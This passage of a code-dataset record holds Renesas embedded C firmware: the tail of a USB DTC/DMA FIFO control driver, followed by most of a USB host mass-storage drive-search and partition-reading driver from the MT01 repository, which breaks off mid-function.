*/\n usb_td_cfg[ptr->ip].block_size = (uint16_t)(size);\n\n /* DTC transfer count registerB (Block count)\n b15-b0 CRB Transfer count\n */\n usb_td_cfg[ptr->ip].transfer_count =\n (uint16_t)(usb_gcstd_DataCnt[ptr->ip][usb_gcstd_Dma0Pipe[ptr->ip]] / usb_gcstd_Dma0Size[ptr->ip]);\n\n /* DTC address mode register (Full Address Mode)\n b0 SHORT Short address mode bit\n b7-b1 Reserved 0\n */\n\n /* DTC control register (Transfer Information Read No Skip)\n b2-b0 Reserved 0\n b3 Reserved 0\n b4 RRS DTC Transfer Information Read Skip enable bit\n b7-b5 Reserved 0\n */\n R_DTC_Control(DTC_CMD_DATA_READ_SKIP_ENABLE, NULL, 0);\n\n if( ptr->ip == USB_USBIP_0 )\n {\n /* Priority D0FIFO0=0\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USB0, D0FIFO0 ) = 0x00;\n\n /* Interrupt enable register (USB0 D0FIFO enable(IEN4))\n b0 IEN0 Interrupt enable bit\n b1 IEN1 Interrupt enable bit\n b2 IEN2 Interrupt enable bit\n b3 IEN3 Interrupt enable bit\n b4 IEN4 Interrupt enable bit\n b5 IEN5 Interrupt enable bit\n b6 IEN6 Interrupt enable bit\n b7 IEN7 Interrupt enable bit\n */\n IEN( USB0, D0FIFO0 ) = 0;\n R_DTC_Create( act_src, &usb_dtc_transfer_data[ptr->ip], &usb_td_cfg[ptr->ip], 0 );\n IEN( USB0, D0FIFO0 ) = 1;\n\n /* DTC start enable register (USB0 D0FIFO transfer)\n b0 DTCE DTC start enable bit\n b7-b1 Reserved 0\n */\n DTCE( USB0, D0FIFO0 ) = 1;\n }\n else\n {\n /* Priority D0FIFO0=0\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USBA, D0FIFO2 ) = 0x00;\n\n /* Interrupt enable register (USBA D0FIFO enable(IEN4))\n b0 IEN0 Interrupt enable bit\n b1 IEN1 Interrupt enable bit\n b2 IEN2 Interrupt enable bit\n b3 IEN3 Interrupt enable bit\n b4 IEN4 Interrupt enable bit\n b5 IEN5 Interrupt enable bit\n b6 IEN6 Interrupt enable bit\n b7 IEN7 Interrupt enable bit\n */\n IEN( USBA, D0FIFO2 ) = 0;\n R_DTC_Create( act_src, &usb_dtc_transfer_data[ptr->ip], &usb_td_cfg[ptr->ip], 0 );\n IEN( USBA, D0FIFO2 ) = 1;\n\n /* DTC start enable register (USBA D0FIFO transfer)\n b0 DTCE DTC start enable bit\n b7-b1 Reserved 0\n */\n DTCE( USBA, D0FIFO2 ) = 1;\n }\n}\n/******************************************************************************\nEnd of function\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cpu_d0fifo_stop_dma\nDescription : DMA stop\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : void\n******************************************************************************/\nvoid usb_cpu_d0fifo_stop_dma(USB_UTR_t *ptr)\n{\n if( ptr->ip == USB_USBIP_0 )\n {\n /* Interrupt request register\n b0 IR Interrupt status flag\n b7-b1 Reserved 0\n */\n IR( USB0, D0FIFO0 ) = 0;\n\n /* Priority D0FIFO0=0\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USB0, D0FIFO0 ) = 0x00;\n\n /* Interrupt enable register (USB0 D0FIFO disable(IEN4))\n b0 IEN0 Interrupt enable bit\n b1 IEN1 Interrupt enable bit\n b2 IEN2 Interrupt enable bit\n b3 IEN3 Interrupt enable bit\n b4 IEN4 Interrupt enable bit\n b5 IEN5 Interrupt enable bit\n b6 IEN6 Interrupt enable bit\n b7 IEN7 Interrupt enable bit\n */\n IEN( USB0, D0FIFO0 ) = 0;\n\n /* DTC start enable register (USB0 D0FIFO transfer disable)\n b0 DTCE DTC start enable bit\n b7-b1 Reserved 0\n */\n DTCE( USB0, D0FIFO0 ) = 0;\n }\n else\n {\n /* Interrupt request register\n b0 IR Interrupt status flag\n b7-b1 Reserved 0\n */\n IR( USBA, D0FIFO2 ) = 0;\n\n /* Priority D0FIFO0=0\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USBA, D0FIFO2 ) = 0x00;\n\n /* Interrupt enable register (USBA D0FIFO disable(IEN4))\n b0 IEN0 Interrupt enable bit\n b1 IEN1 Interrupt enable bit\n b2 IEN2 Interrupt enable bit\n b3 IEN3 Interrupt enable bit\n b4 IEN4 Interrupt enable bit\n b5 IEN5 Interrupt enable bit\n b6 IEN6 Interrupt enable bit\n b7 IEN7 Interrupt enable bit\n */\n IEN( USBA, D0FIFO2 ) = 0;\n\n /* DTC start enable register (USBA D0FIFO transfer disable)\n b0 DTCE DTC start enable bit\n b7-b1 Reserved 0\n */\n DTCE( USBA, D0FIFO2 ) = 0;\n }\n}\n/******************************************************************************\nEnd of function\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cpu_d0fifo_restart_dma\nDescription : DMA Restart\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_cpu_d0fifo_restart_dma( USB_UTR_t *ptr )\n{\n uint16_t size;\n uint32_t tmp;\n dtc_activation_source_t act_src; /* activation source is Software Interrupt */\n\n\n if(ptr->ip == USB_USBIP_0)\n {\n act_src = DTCE_USB0_D0FIFO0;\n\n if( (usb_gcstd_Dma0Size[ptr->ip] & 0x0001u) != 0u )\n {\n /* if count == odd */\n tmp = usb_gcstd_Dma0Size[ptr->ip];\n\n /* DTC mode register A (Byte Size)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].data_size = DTC_DATA_SIZE_BYTE;\n\n /* DTC source address register (Table address)\n b31-b0 SAR Source address\n */\n usb_td_cfg[ptr->ip].dest_addr = usb_cstd_GetD0fifo8Adr(ptr);\n }\n else\n {\n tmp = usb_gcstd_Dma0Size[ptr->ip] / 2;\n\n /* DTC mode register A (Word Size)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].data_size = DTC_DATA_SIZE_WORD;\n }\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n act_src = DTCE_USBA_D0FIFO2;\n\n if( (usb_gcstd_Dma0Size[ptr->ip] & 0x0003u) != 0u )\n {\n /* if count == odd */\n tmp = usb_gcstd_Dma0Size[ptr->ip];\n\n /* DTC mode register A (Byte Size)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].data_size = DTC_DATA_SIZE_BYTE;\n\n /* DTC source address register (Table address)\n b31-b0 SAR Source address\n */\n usb_td_cfg[ptr->ip].dest_addr = usb_cstd_GetD0fifo8Adr(ptr);\n }\n else\n {\n tmp = usb_gcstd_Dma0Size[ptr->ip] / 4;\n\n /* DTC mode register A (Word Size)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].data_size = DTC_DATA_SIZE_LWORD;\n }\n }\n\n /* DTC source address register (Table address)\n b31-b0 SAR Destination address\n */\n usb_td_cfg[ptr->ip].source_addr = usb_dtc_transfer_data[ptr->ip].lw2;\n\n size = (uint8_t)(tmp);\n\n /* DTC transfer count registerA\n b15-b0 CRA Transfer count\n */\n usb_td_cfg[ptr->ip].block_size = (uint16_t)(size);\n\n /* DTC transfer count registerB (Block count)\n b15-b0 CRB Transfer count\n */\n usb_td_cfg[ptr->ip].transfer_count = (uint16_t)(1);\n \n if( ptr->ip == USB_USBIP_0 )\n {\n IEN( USB0, D0FIFO0 ) = 0;\n R_DTC_Create( act_src, &usb_dtc_transfer_data[ptr->ip], &usb_td_cfg[ptr->ip], 0 );\n IEN( USB0, D0FIFO0 ) = 1;\n }\n else\n {\n IEN( USBA, D0FIFO2 ) = 0;\n R_DTC_Create( act_src, &usb_dtc_transfer_data[ptr->ip], &usb_td_cfg[ptr->ip], 0 );\n IEN( USBA, D0FIFO2 ) = 1;\n }\n\n /* DTC Transfer enable\n b0 DTCST DTC module start bit\n b7-b1 Reserved 0\n */\n R_DTC_Control( DTC_CMD_DTC_START, NULL, 0 );\n\n if( ptr->ip == USB_USBIP_0 )\n {\n /* DTC start enable register (USB0 D0FIFO transfer)\n b0 DTCE DTC start enable bit\n b7-b1 Reserved 0\n */\n DTCE( USB0, D0FIFO0 ) = 1;\n }\n else\n {\n /* DTC start enable register (USBA D0FIFO transfer)\n b0 DTCE DTC start enable bit\n b7-b1 Reserved 0\n */\n DTCE( USBA, D0FIFO2 ) = 1;\n }\n}\n/******************************************************************************\nEnd of function\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cpu_d0fifo_enable_dma\nDescription : DTC(D0FIFO) interrupt enable (Interrupt priority 5 set)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_cpu_d0fifo_enable_dma(USB_UTR_t *ptr)\n{\n if( ptr->ip == USB_USBIP_0 )\n {\n /* Priority D0FIFO0 = 0(Disable)\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USB0, D0FIFO0 ) = 0x05;\n }\n else\n {\n /* Priority D0FIFO2 = 0(Disable)\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USBA, D0FIFO2 ) = 0x05;\n }\n}\n/******************************************************************************\nEnd of function\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cpu_d0fifo_disable_dma\nDescription : D0FIFO interrupt disable (Interrupt priority 0 set)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_cpu_d0fifo_disable_dma(USB_UTR_t *ptr)\n{\n if( ptr->ip == USB_USBIP_0 )\n {\n /* Priority D0FIFO0 = 0(Disable)\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USB0, D0FIFO0 ) = 0x00;\n }\n else\n {\n /* Priority D0FIFO2 = 0(Disable)\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USBA, D0FIFO2 ) = 0x00;\n }\n}\n/******************************************************************************\nEnd of function\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cpu_get_dtc_block_count\nDescription : Get DTC Transfer count reg B(CRB).\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : DTC Transfer count reg B(CRB)\n******************************************************************************/\nuint16_t usb_cpu_get_dtc_block_count(USB_UTR_t *ptr)\n{\n uint16_t value;\n uint16_t status_reg = 0;\n \n /* Wait Complete DTC Transfer */\n do\n {\n status_reg = DTC.DTCSTS.WORD;\n }\n while( 0 != ( status_reg & 0x8000 ) ); /* DTC is not active */\n \n /* Read DTC transfer count (CRB) */\n value = (uint16_t)(usb_dtc_transfer_data[ptr->ip].lw4 & 0xffff);\n \n return value;\n}\n/******************************************************************************\nEnd of function\n******************************************************************************/\n#endif /* USB_DTC_ENABLE */\n\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.4627884328365326, "alphanum_fraction": 0.4793500304222107, "avg_line_length": 38.331424713134766, "blob_id": "2c915208fe2b140fec48bc37a09d838359dd592c", "content_id": "be0a98c49a954df102ea3f8cfcfea6da2b5a9850", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 48063, "license_type": "no_license", "max_line_length": 128, "num_lines": 1222, "path": "/r_usb_hmsc/src/r_usb_hstorage_driver.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hstorage_driver.c\n* Description : USB sample data declaration\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_hatapi_define.h\" /* Peripheral ATAPI Device extern */\n#include \"r_usb_hmsc_define.h\" /* Host Mass Storage Class Driver */\n#include \"r_usb_hmsc_extern.h\" /* MSC global definition */\n\n#include \"r_usb_api.h\"\n#include \"r_usb_hmsc_config.h\"\n#include \"r_usb_hmsc_if.h\"\n\n/******************************************************************************\nRenesas Abstracted Peripheral Driver functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpDevNextDriveSearch\nDescription : Next drive search\nArguments : none\nReturn value : uint16_t : \n******************************************************************************/\nuint16_t usb_hmsc_SmpDevNextDriveSearch(USB_UTR_t *ptr)\n{\n uint16_t i;\n\n for( i = 0; i < USB_MAXDRIVE; i++ )\n {\n if( usb_ghmsc_DriveChk[i][0] == USB_NO )\n {\n return i;\n }\n }\n return (uint16_t)0;\n} /* eof usb_hmsc_SmpDevNextDriveSearch() */\n\n\n/******************************************************************************\nFunction Name : usb_hmsc_StrgDriveSearchAct\nDescription : Storage drive search\nArguments : USB_CLSINFO_t *mess : Message\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_StrgDriveSearchAct(USB_CLSINFO_t *mess)\n{\n uint32_t j, result;\n uint16_t resultk;\n/* Condition compilation by the difference of quality control */\n #ifdef USB_DEBUGPRINT_PP\n uint32_t i;\n uint8_t pdata[32];\n #endif /* USB_DEBUGPRINT_PP */\n uint16_t offset, new_count, addr;\n USB_ER_t err,err2;\n USB_MH_t p_blf;\n USB_CLSINFO_t *cp;\n uint16_t drive_no;\n\n switch( usb_shmsc_StrgDriveSearchSeq[mess->ip] )\n {\n case USB_SEQ_0:\n USB_PRINTF0(\"\\n*** Drive search !\\n\");\n /* Unit number set */\n addr = mess -> keyword;\n usb_ghmsc_RootDevaddr[mess->ip] = addr;\n usb_shmsc_command_result[mess->ip] = mess->complete;\n\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n err = R_usb_hmsc_GetMaxUnit(mess, addr, (USB_CB_t)usb_hmsc_StrgCheckResult);\n if( err == USB_E_QOVR )\n {\n /* Resend message */\n err = R_USB_PGET_BLK(USB_HSTRG_MPL, &p_blf);\n if( err == USB_E_OK )\n {\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = mess -> msginfo;\n cp->keyword = mess -> keyword;\n cp->result = mess -> result;\n cp->complete = mess->complete;\n cp->ip = mess->ip;\n cp->ipp = mess->ipp;\n\n /* Send message */\n err = R_USB_SND_MSG(USB_HSTRG_MBX, (USB_MSG_t*)p_blf);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### hmsc_StrgDriveSearch snd_msg error (%ld)\\n\", err);\n err2 = R_USB_REL_BLK(USB_HSTRG_MPL, (USB_MH_t)p_blf);\n if( err2 != USB_E_OK )\n {\n USB_PRINTF1(\"### hmsc_StrgDriveSearch rel_blk error (%ld)\\n\", err2);\n }\n }\n }\n else\n {\n USB_PRINTF1(\"### hmsc_StrgDriveSearch pget_blk error (%ld)\\n\", err);\n }\n }\n else\n {\n usb_shmsc_StrgDriveSearchSeq[mess->ip]++;\n }\n break;\n case USB_SEQ_1:\n addr = usb_ghmsc_RootDevaddr[mess->ip];\n\n /* Get MAX_LUN */\n usb_ghmsc_MaxLUN[mess->ip] = usb_hmsc_GetMaxUnitCheck(mess, mess->result);\n if( usb_ghmsc_MaxLUN[mess->ip] == USB_ERROR )\n {\n usb_ghmsc_MaxLUN[mess->ip] = (uint16_t)0;\n USB_PRINTF1(\"*** Unit information error, set unit number %d !\\n\", usb_ghmsc_MaxLUN[mess->ip]);\n }\n else if( usb_ghmsc_MaxLUN[mess->ip] > (uint32_t)USB_MAXUNITNUM )\n {\n USB_PRINTF2(\"*** Max Unit number(%d) is error, set unit number %d !\\n\", usb_ghmsc_MaxLUN[mess->ip], USB_MAXUNITNUM);\n usb_ghmsc_MaxLUN[mess->ip] = USB_MAXUNITNUM - 1u;\n }\n else\n {\n USB_PRINTF1(\" Unit number is %d\\n\", usb_ghmsc_MaxLUN[mess->ip]);\n }\n\n drive_no = R_usb_hmsc_ref_drvno( mess->ip, addr );\n\n /* Set pipe information */\n offset = (uint16_t)( 2u * USB_EPL * drive_no );\n usb_ghmsc_PipeTable[mess->ip][offset + 3u] |= (uint16_t)(addr << USB_DEVADDRBIT);\n usb_ghmsc_PipeTable[mess->ip][(offset + 3u) + USB_EPL] |= (uint16_t)(addr << USB_DEVADDRBIT);\n\n /* Check connection */\n USB_PRINTF0(\"\\nPlease wait device ready\\n\");\n usb_cpu_DelayXms(100);\n /* Drive yes */\n usb_ghmsc_DriveChk[USB_MAXDRIVE][0] = USB_YES;\n /* Device address */\n usb_ghmsc_DriveChk[USB_MAXDRIVE][3] = addr;\n usb_ghmsc_DriveChk[USB_MAXDRIVE][5] = mess->ip;\n\n /* Device number */\n usb_ghmsc_DriveChk[USB_MAXDRIVE][4] = drive_no;\n\n usb_shmsc_StrgDriveSearchSeq[mess->ip]++;\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n usb_hmsc_StrgSpecifiedPath((USB_CLSINFO_t *)mess);\n break;\n case USB_SEQ_2:\n addr = usb_ghmsc_RootDevaddr[mess->ip];\n /* Unit Number */\n usb_ghmsc_DriveChk[USB_MAXDRIVE][1] = (uint16_t)usb_shmsc_StrgDriveSearchCount[mess->ip];\n /* Inquiry */\n resultk = R_usb_hmsc_Inquiry(mess, USB_MAXDRIVE, (uint8_t*)&usb_ghmsc_Data[mess->ip]);\n usb_shmsc_DeviceReady[usb_shmsc_StrgDriveSearchCount[mess->ip]] = USB_PDT_UNKNOWN;\n \n usb_shmsc_StrgDriveSearchSeq[mess->ip]++;\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n break;\n case USB_SEQ_3:\n addr = usb_ghmsc_RootDevaddr[mess->ip];\n resultk = mess -> result;\n if( resultk == USB_HMSC_OK )\n {\n usb_shmsc_DeviceReady[usb_shmsc_StrgDriveSearchCount[mess->ip]] = usb_ghmsc_Data[mess->ip][0];\n/* Condition compilation by the difference of quality control */\n #ifdef USB_DEBUGPRINT_PP\n /* Unit number */\n for( i = (uint32_t)0; i < (uint32_t)8; i++ )\n {\n pdata[i] = usb_ghmsc_Data[mess->ip][i + (uint32_t)8];\n }\n USB_PRINTF1(\"\\n Unit number %d .\\n\", usb_shmsc_StrgDriveSearchCount[mess->ip]);\n pdata[8] = 0;\n USB_PRINTF1(\" Vender Identification : %s\\n\", pdata);\n /* Product Identification */\n for( i = (uint32_t)0; i < (uint32_t)16; i++ )\n {\n pdata[i] = usb_ghmsc_Data[mess->ip][i + (uint32_t)16];\n }\n pdata[16] = 0;\n USB_PRINTF1(\" Product Identification : %s\\n\", pdata);\n #endif /* USB_DEBUGPRINT_PP*/\n usb_shmsc_StrgDriveSearchErrCount[mess->ip] = USB_SEQ_0;\n usb_shmsc_StrgDriveSearchCount[mess->ip]++;\n usb_shmsc_StrgDriveSearchSeq[mess->ip] = USB_SEQ_2;\n\n if( usb_shmsc_StrgDriveSearchCount[mess->ip] > usb_ghmsc_MaxLUN[mess->ip] )\n {\n usb_shmsc_StrgDriveSearchCount[mess->ip] = USB_SEQ_0;\n usb_shmsc_StrgDriveSearchSeq[mess->ip] = USB_SEQ_4;\n }\n\n }\n else if( resultk == USB_HMSC_CSW_ERR )\n {\n /* Inquiry error */\n USB_PRINTF1(\"### inquiry error ( %d times )\\n\", (usb_shmsc_StrgDriveSearchErrCount[mess->ip] + 1));\n usb_shmsc_StrgDriveSearchErrCount[mess->ip]++;\n usb_shmsc_StrgDriveSearchSeq[mess->ip] = USB_SEQ_2;\n if( usb_shmsc_StrgDriveSearchErrCount[mess->ip] >= 3 )\n {\n usb_shmsc_StrgDriveSearchErrCount[mess->ip] = USB_SEQ_0;\n usb_shmsc_StrgDriveSearchCount[mess->ip]++;\n if( usb_shmsc_StrgDriveSearchCount[mess->ip] > usb_ghmsc_MaxLUN[mess->ip] )\n {\n usb_shmsc_StrgDriveSearchCount[mess->ip] = USB_SEQ_0;\n usb_shmsc_StrgDriveSearchSeq[mess->ip] = USB_SEQ_4;\n }\n }\n }\n else\n {\n USB_PRINTF0(\"### inquiry error\\n\");\n\n usb_shmsc_StrgDriveSearchErrCount[mess->ip] = USB_SEQ_0;\n usb_shmsc_StrgDriveSearchCount[mess->ip]++;\n usb_shmsc_StrgDriveSearchSeq[mess->ip] = USB_SEQ_2;\n\n if( usb_shmsc_StrgDriveSearchCount[mess->ip] > usb_ghmsc_MaxLUN[mess->ip] )\n {\n usb_shmsc_StrgDriveSearchCount[mess->ip] = USB_SEQ_0;\n usb_shmsc_StrgDriveSearchSeq[mess->ip] = USB_SEQ_4;\n }\n }\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n usb_hmsc_StrgSpecifiedPath((USB_CLSINFO_t *)mess);\n break;\n\n case USB_SEQ_4:\n /* Read Format Capacity */\n R_usb_hmsc_ReadFormatCapacity(mess, USB_MAXDRIVE\n , (uint8_t*)&usb_ghmsc_Data[mess->ip]);\n usb_shmsc_StrgDriveSearchSeq[mess->ip]++;\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n break;\n\n case USB_SEQ_5:\n /* Read Capacity */\n R_usb_hmsc_ReadCapacity(mess, USB_MAXDRIVE, (uint8_t*)&usb_ghmsc_Data[mess->ip]);\n usb_shmsc_StrgDriveSearchSeq[mess->ip]++;\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n break;\n\n case USB_SEQ_6:\n resultk = mess -> result;\n if( resultk != USB_HMSC_OK )\n {\n /* TestUnitReady */\n R_usb_hmsc_TestUnit(mess, USB_MAXDRIVE);\n usb_shmsc_StrgDriveSearchSeq[mess->ip]++;\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n }\n else\n {\n /* Pass TestUnitReady */\n usb_shmsc_StrgDriveSearchSeq[mess->ip] = USB_SEQ_8;\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n usb_hmsc_StrgSpecifiedPath((USB_CLSINFO_t *)mess);\n };\n break;\n\n case USB_SEQ_7:\n resultk = mess -> result;\n if( resultk != USB_HMSC_OK )\n {\n /* TestUnitReady */\n R_usb_hmsc_TestUnit(mess, USB_MAXDRIVE);\n usb_shmsc_StrgDriveSearchSeq[mess->ip] = USB_SEQ_7;\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n }\n else\n {\n /* Read Capacity */\n R_usb_hmsc_ReadCapacity(mess, USB_MAXDRIVE, (uint8_t*)&usb_ghmsc_Data[mess->ip]);\n usb_shmsc_StrgDriveSearchSeq[mess->ip]++;\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n };\n break;\n\n case USB_SEQ_8:\n addr = usb_ghmsc_RootDevaddr[mess->ip];\n /* Read & set partition information */\n USB_PRINTF0(\"\\nPartition information\\n\");\n result = 0;\n for( j = (uint32_t)0; j <= usb_ghmsc_MaxLUN[mess->ip]; j++ )\n {\n /* Set sector size & block address */\n switch( usb_shmsc_DeviceReady[j] )\n {\n case USB_PDT_DIRECT:\n USB_PRINTF1(\" Unit %d is direct access device.\\n\", j);\n /* Unit Number */\n usb_ghmsc_DriveChk[USB_MAXDRIVE][1] = (uint16_t)j;\n offset = usb_hmsc_SmpDevReadPartition(mess, (uint16_t)j, (uint32_t)512);\n result++; \n break;\n case USB_PDT_SEQUENTIAL:\n /* Not support: Sequential device */\n USB_PRINTF1(\"### Unit %d sequential device.(not support)\\n\", j);\n break;\n case USB_PDT_WRITEONCE:\n /* Not support: Write once device */\n USB_PRINTF1(\"### Unit %d write once device.(not support)\\n\", j);\n break;\n case USB_PDT_CDROM:\n /* Not support: CD-ROM device */\n USB_PRINTF1(\"### Unit %d CD-ROM device.(not support)\\n\", j);\n break;\n case USB_PDT_OPTICAL:\n /* Not support: Optivasl device */\n USB_PRINTF1(\"### Unit %d optivasl device.(not support)\\n\", j);\n break;\n case USB_PDT_UNKNOWN:\n /* Not support: Unknown device */\n USB_PRINTF1(\"### Unit %d unknown device.(not support)\\n\", j);\n break;\n default:\n /* Not support: Not direct access device */\n USB_PRINTF1(\"### Unit %d is not direct access device.(not support)\\n\", j);\n break;\n }\n }\n usb_shmsc_StrgDriveSearchSeq[mess->ip]++;\n if( result == 0 )\n {\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n usb_hmsc_StrgSpecifiedPath((USB_CLSINFO_t *)mess);\n\n } \n break;\n\n case USB_SEQ_9:\n addr = usb_ghmsc_RootDevaddr[mess->ip];\n new_count = USB_ERROR;\n for( j = (uint32_t)0; j <= usb_ghmsc_MaxLUN[mess->ip]; j++ )\n {\n /* Set sector size & block address */\n if( usb_shmsc_DeviceReady[j] == USB_PDT_DIRECT )\n {\n new_count = mess->result;\n }\n }\n if( new_count == USB_DONE )\n {\n usb_ghmsc_StrgCount++;\n }\n (usb_shmsc_command_result[mess->ip])( (USB_UTR_t *)mess, addr, 0 );\n\n usb_shmsc_StrgDriveSearchSeq[mess->ip] = USB_SEQ_0;\n usb_shmsc_StrgProcess[mess->ip] = USB_NONE;\n break;\n default:\n usb_shmsc_StrgProcess[mess->ip] = USB_NONE;\n usb_shmsc_StrgDriveSearchSeq[mess->ip] = USB_SEQ_0;\n usb_shmsc_StrgDriveSearchCount[mess->ip] = USB_SEQ_0;\n usb_shmsc_StrgDriveSearchErrCount[mess->ip] = USB_SEQ_0;\n break;\n }\n} /* eof usb_hmsc_StrgDriveSearchAct() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_strg_user_command_result\nDescription : Storage drive search\nArguments : USB_CLSINFO_t *mess : Message\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_strg_user_command_result(USB_CLSINFO_t *mess)\n{\n (usb_shmsc_command_result[mess->ip])( (USB_UTR_t *)mess, 0, 0 );\n} /* eof usb_hmsc_strg_user_command_result() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpDevReadPartition\nDescription : Searches drive SndMsg\nArguments : uint16_t unit : Unit\n : uint32_t trans_byte : Trans byte\nReturn value : uint16_t\n******************************************************************************/\nuint16_t usb_hmsc_SmpDevReadPartition(USB_UTR_t *ptr, uint16_t unit, uint32_t trans_byte)\n{\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *cp;\n\n usb_shmsc_DevReadPartitionSeq[ptr->ip] = USB_SEQ_0;\n\n /* Get mem pool blk */\n if( R_USB_PGET_BLK(USB_HSTRG_MPL, &p_blf) == USB_E_OK )\n {\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = USB_MSG_HMSC_DEV_READ_PARTITION;\n cp->keyword = unit;\n usb_ghmsc_TransSize[ptr->ip] = trans_byte;\n\n cp->ip = ptr->ip;\n cp->ipp = ptr->ipp;\n\n /* Send message */\n err = R_USB_SND_MSG( USB_HSTRG_MBX, (USB_MSG_t*)p_blf );\n if( err != USB_E_OK )\n {\n err = R_USB_REL_BLK(USB_HSTRG_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### DevReadSectorSize function snd_msg error\\n\");\n }\n }\n else\n {\n USB_PRINTF0(\"### DevReadSectorSize function pget_blk error\\n\");\n } \n return (USB_DONE);\n} /* eof usb_hmsc_SmpDevReadPartition() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpDevReadPartitionAct\nDescription : Drive read partition\nArguments : USB_CLSINFO_t *mess : Message\nReturn value : uint16_t : [USB_DONE/USB_ERROR]\n******************************************************************************/\nuint16_t usb_hmsc_SmpDevReadPartitionAct(USB_CLSINFO_t 